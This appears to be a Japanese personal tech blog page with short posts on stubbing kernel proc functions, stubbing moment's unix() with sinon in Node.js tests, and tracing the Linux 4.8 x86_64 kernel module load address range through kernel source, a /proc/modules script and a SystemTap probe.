これでやりたかったことができます( ´∀`)bグッ!

[root@kerntest kstub]# tree
.
├── cmdline_proc_show
│   └── cmd
└── version_proc_show
    └── cmd

2 directories, 2 files
[root@kerntest kstub]# echo foobar > cmdline_proc_show/cmd
[root@kerntest kstub]# echo hogehoge > version_proc_show/cmd
[root@kerntest kstub]# cat cmdline_proc_show/cmd version_proc_show/cmd
foobar
hogehoge

( ´ー`)フゥー...

詳解UNIXプログラミング 第3版

詳解UNIXプログラミング 第3版

nodejsのmomentの関数をstubする

現在時刻取得のところmomentを使ってるけど、テスト書くときは固定値になって欲しいよねというところのめも。

momentを使っているクラスがこんなんだとして、

'use strict';

const moment = require('moment');

module.exports = class Foo {
        static get unixtime() {
                return moment().unix();
        }
};

stubでスタブを作る場合はstub()の第一引数にはmomentではなくてmoment.fnを渡す

'use strict';

const sinon = require('sinon');

const moment = require('moment');

const Foo = require('./foo');

const stub = sinon.stub(moment.fn, 'unix');

stub.onCall(0).returns(1475819617);
stub.onCall(1).returns(1475819617 + 10);
stub.returns(1475819617 + 20);

for (let i = 0; i < 5; i++) {
        console.log(`${i}: ${Foo.unixtime}`);
}

stub.restore();

console.log(`restored: ${Foo.unixtime}`);

実行結果

masami@arch moment_stub$ node ./test.js
0: 1475819617
1: 1475819627
2: 1475819637
3: 1475819637
4: 1475819637
restored: 1475820545

( ´ー`)フゥー...

Linuxのカーネルモジュールがロードされるアドレス範囲

カーネルモジュールがロードされるアドレスって範囲決まってたはずだけど、自分で言っといてホントそうだったけ?とか思ったので確認。

調べるのはLinux 4.8。 まず、Documentation/x86/x86_64/mm.txtを確認して、以下のところをチェック。

 22 ffffffffa0000000 - ffffffffff5fffff (=1526 MB) module mapping space

で、この範囲にロードされるよねってとこです。

それでは、モジュールがどのように配置されるのかをコードで確認してみます。まずkernel/module.cのload_module()からみます。

この関数の最初のほうでlayout_and_allocate()を実行します。

3589         /* Figure out module layout, and allocate all the memory. */
3590         mod = layout_and_allocate(info, flags);

layout_and_allocate()ではmove_module()という関数を呼びます。

3266         /* Allocate and move to the final place */
3267         err = move_module(mod, info);

そして、ここで呼び出しているmodule_alloc()が実際にアドレスを指定してモジュール用のメモリを確保するところです。

3068 static int move_module(struct module *mod, struct load_info *info)
3069 {
3070         int i;
3071         void *ptr;
3072 
3073         /* Do the allocs. */
3074         ptr = module_alloc(mod->core_layout.size);

ただ、module_alloc()はアーキテクチャ依存な関数になります。module.cにあるmodule_alloc()はweak属性が付いているのでx86_64アーキテクチャにおいてはダミーです。

2688 void * __weak module_alloc(unsigned long size)
2689 {
2690         return vmalloc_exec(size);
2691 }

x86_64でのmodule_alloc()はarch/x86/kernel/module.cにあります。

 79 void *module_alloc(unsigned long size)
 80 {
 81         void *p;
 82 
 83         if (PAGE_ALIGN(size) > MODULES_LEN)
 84                 return NULL;
 85 
 86         p = __vmalloc_node_range(size, MODULE_ALIGN,
 87                                     MODULES_VADDR + get_module_load_offset(),
 88                                     MODULES_END, GFP_KERNEL | __GFP_HIGHMEM,
 89                                     PAGE_KERNEL_EXEC, 0, NUMA_NO_NODE,
 90                                     __builtin_return_address(0));
 91         if (p && (kasan_module_alloc(p, size) < 0)) {
 92                 vfree(p);
 93                 return NULL;
 94         }
 95 
 96         return p;
 97 }
 98 

ここでは__vmalloc_node_range()を使ってメモリを確保しますが、この時にアドレスの範囲を指定します。__vmalloc_node_range()の3番目の引数は開始アドレス、4番目が終了アドレスです。

MODULES_VADDRとMODULES_ENDはarch/x86/include/asm/pgtable_64_types.hで定義されています。

 67 #define MODULES_VADDR    (__START_KERNEL_map + KERNEL_IMAGE_SIZE)
 68 #define MODULES_END      _AC(0xffffffffff000000, UL)

__START_KERNEL_mapとKERNEL_IMAGE_SIZEはarch/x86/include/asm/page_64_types.hで定義されています。

__START_KERNEL_mapはこうです。

 46 #define __START_KERNEL_map      _AC(0xffffffff80000000, UL)

KERNEL_IMAGE_SIZEは.configの設定次第ですが、うちはCONFIG_RANDOMIZE_BASEが有効なので60行目のほうを使います。

 59 #if defined(CONFIG_RANDOMIZE_BASE)
 60 #define KERNEL_IMAGE_SIZE       (1024 * 1024 * 1024)
 61 #else
 62 #define KERNEL_IMAGE_SIZE       (512 * 1024 * 1024)
 63 #endif

なんで、こんな感じになります。

>>> hex(int("0xffffffff80000000", 16) + (1024 * 1024 * 1024))
'0xffffffffc0000000'

ということで、カーネルモジュールは0xffffffffc0000000〜0xffffffffff000000に置かれると。

実際にこれを確認するのは/proc/modulesを見れば良いので、こんな感じのスクリプトでチェックできます。

#!/usr/bin/env python

with open('/proc/modules', 'r') as f:
    lines = f.readlines()
    for line in lines:
        data = line.split(' ')
        name = data[0]
        if (data[2] != '0'):
            addr = int(data[len(data) - 1].strip(), 16)
            if addr >= 0xffffffffc0000000 and addr < 0xffffffffff5fffff:
                print("%s:%x is in module mapping space " % (name, addr))
            else:
                print("%s:%x is not in module mapping space" % (name, addr))

stack traceとって流れを確認するならこんなsystemtapスクリプト(これくらいだとbccよりかんたんなのでこっちにしました)を動かして、適当なモジュールをinsmodすればOKです。

#!/usr/bin/env stap

probe begin {
        printf("Start\n")
}

probe kernel.function("module_alloc") {
        printf("%s\n", symfileline(addr()));
        print_backtrace()
        exit()
}

probe end {
        printf("Done\n")
}

こんな結果になります。

masami@saga:~/mod$ sudo stap -g module_alloc.stp
Start
0xffffffffa705d8e0
 0xffffffffa705d8e0 : module_alloc+0x0/0xd0 [kernel]
 0xffffffffa7106cd6 : load_module+0x1576/0x2620 [kernel] (inexact)
 0xffffffffa7204a31 : __vfs_read+0xe1/0x130 [kernel] (inexact)
 0xffffffffa720578c : vfs_read+0x11c/0x130 [kernel] (inexact)
 0xffffffffa720c238 : kernel_read_file+0x1e8/0x210 [kernel] (inexact)
 0xffffffffa720c2a9 : kernel_read_file_from_fd+0x49/0x80 [kernel] (inexact)
 0xffffffffa7107ff4 : SyS_finit_module+0xe4/0x120 [kernel] (inexact)
 0xffffffffa75dc7f2 : entry_SYSCALL_64_fastpath+0x1a/0xa4 [kernel] (inexact)
Done

ということで、一応合ってたようですε-(´∀`*)ホッ